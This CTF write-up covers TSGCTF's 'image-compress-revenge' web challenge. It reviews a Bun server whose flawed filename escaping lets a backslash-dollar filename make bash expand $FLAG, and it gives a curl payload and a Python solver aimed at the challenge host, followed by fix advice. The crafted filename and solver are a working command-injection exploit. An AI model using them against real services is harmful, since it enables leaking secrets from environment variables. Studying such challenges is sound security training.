./contents.sh

z0d1ak@ctf:~$ cat sections.md
z0d1ak@ctf:~$ _
writeup.md - z0d1ak@ctf
Web Exploitation
TSGCTF
December 22, 2025
5 min read

TSGCTF - image-compress-revenge

theg1239
z0d1ak@ctf:~$ ./author.sh

# image-compress-revenge

## TL;DR

The server runs ImageMagick through bash -c and tries to escape the uploaded filename. By uploading a file whose filename contains a backslash before $ (\$FLAG.png), their escaping turns it into \\$FLAG.png inside a double-quoted bash string, which causes $FLAG to be expanded by bash. The app returns ImageMagick stderr in a JSON error, so the expanded path leaks the flag.

## Source review

The handler is here:

ts
import { Elysia, t } from "elysia"; import { unlink } from "fs/promises"; import { run } from "./lib/shell.ts"; const CHARS_TO_ESCAPE = "$'\"(){}[]:;/&`~|^!? \n".split(""); export function escape(source: string): string { let s = source; for (const char of CHARS_TO_ESCAPE) { s = s.replaceAll(char, "\\" + char); } return s; } const app = new Elysia() .get("/", () => { return Bun.file("./public/index.html"); }) .post( "/compress", async ({ body, set }) => { const { image, quality } = body; if (image.name.includes("..")) { throw new Error(`Invalid file name: ${image.name}`); } const inputPath = `./tmp/inputs/${escape(image.name)}`; const outputPath = `./tmp/outputs/${escape(image.name)}`; console.log(escape(image.name)); try { await Bun.write(inputPath, image); await run( `magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`, ); const compressed = await Bun.file(outputPath).arrayBuffer(); set.headers["Content-Type"] = image.type; set.headers["Content-Disposition"] = `attachment; filename="${image.name}"`; return new Response(compressed); } catch (error) { set.status = 500; return { error: `Failed to compress image: ${error}` }; } finally { await unlink(inputPath).catch(() => {}); await unlink(outputPath).catch(() => {}); } }, { body: t.Object({ image: t.File({ "file-type": "image/*", maxSize: "10m", }), quality: t.Numeric({ minimum: 1, maximum: 100, default: 85, }), }), }, ); app.listen(process.env.PORT ?? "3000", (server) => { console.log( `🦊 server is running at http://${server.hostname}:${server.port}`, ); });

It builds paths from the uploaded filename:

  • inputPath = ./tmp/inputs/${escape(image.name)}
  • outputPath = ./tmp/outputs/${escape(image.name)}

Then it runs:

  • magick "${inputPath}" -quality ${quality} -strip "${outputPath}"

The command execution helper in is:

  • spawn(["bash", "-c", command], ...)

So the command string is parsed by bash, meaning bash expansions matter.

## Vulnerability

The custom escape function includes $ in the escaped characters list, so it replaces $ with \$.

However, it does not escape backslashes (\). If we supply a filename that already contains a backslash before $, e.g.:

  • image.name = "\\$FLAG.png" (literally backslash + $FLAG.png)

Then:

  • escape(image.name) turns $ into \$ but leaves the original \ intact
  • resulting string: "\\\\$FLAG.png" (two backslashes then $FLAG.png)

That string is embedded into a bash command within double quotes:

  • magick "./tmp/inputs/\\\\$FLAG.png" ...

In bash parsing inside double quotes:

  • \\\\ becomes a literal \
  • $FLAG is now unescaped and expands to the environment variable

Since the container sets FLAG in the environment, the expanded filename becomes:

  • ./tmp/inputs/\TSGCTF{...}.png

## Why the service still leaks while “broken”

In the remote deployment, ImageMagick fails before writing output because ./tmp/outputs/... doesn’t exist (tmpfs + missing directory creation). This is fine for the exploit:

  • the server catches the ImageMagick failure
  • it includes stderr (which contains the expanded path) in a JSON error

So we exfiltrate the flag from the error message, not from the output file.

## Exploit

### curl

You only need any valid PNG as file content; the important part is the multipart filename:

bash
curl -sS -X POST 'http://35.221.67.248:10502/compress' \ -F 'quality=85' \ -F 'image=@/tmp/ok.png;filename=\$FLAG.png;type=image/png'

### Python solver

A clean solver is included below:

## Flag

TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}

## Fix

  • Avoid bash -c for building commands; use argument arrays (no shell).
  • Use robust escaping for the correct context, or better: don’t interpolate filenames into shell strings.
  • Reject backslashes in filenames, or normalize filenames server-side.
solve.sh - z0d1ak@ctf
#!/usr/bin/env python3
import os
import re
import sys

import requests

FLAG_RE = re.compile(r"TSGCTF\{[^}]*\}")


def make_minimal_png() -> bytes:
    """A tiny valid PNG payload.

    Any valid image works; we just need the server to reach the `magick ...` call.
    """

    return (
        b"\x89PNG\r\n\x1a\n"
        b"\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89"
        b"\x00\x00\x00\x0cIDATx\x9cc````\xf8\x0f\x00\x01\x05\x01\x02\xa5\x85\x7f\x8e"
        b"\x00\x00\x00\x00IEND\xaeB`\x82"
    )


def extract_flag(text: str) -> str | None:
    m = FLAG_RE.search(text)
    return m.group(0) if m else None


def main() -> int:
    base_url = os.environ.get("URL", "http://35.221.67.248:10502").rstrip("/")
    target = base_url + "/compress"

    # Core trick:
    # - If the filename includes a backslash before '$' ("\\$FLAG.png"), the server's
    #   escape() turns '$' into '\\$' but doesn't escape the existing backslash.
    # - The resulting command includes "\\\\$FLAG.png" inside double-quotes.
    # - bash parses "\\\\" down to a literal backslash and *then* expands $FLAG.
    # - The service returns stderr in JSON on failure, so the expanded path leaks the flag.
    crafted_filename = r"\$FLAG.png"

    files = {
        "image": (crafted_filename, make_minimal_png(), "image/png"),
    }
    data = {"quality": "85"}

    r = requests.post(target, files=files, data=data, timeout=20)
    text = r.text

    flag = extract_flag(text)
    if flag:
        print(flag)
        return 0

    print(text)
    print("\n[!] Flag not found. If the service behavior changed, re-check the error output.")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Comments(0)

No comments yet. Be the first to share your thoughts!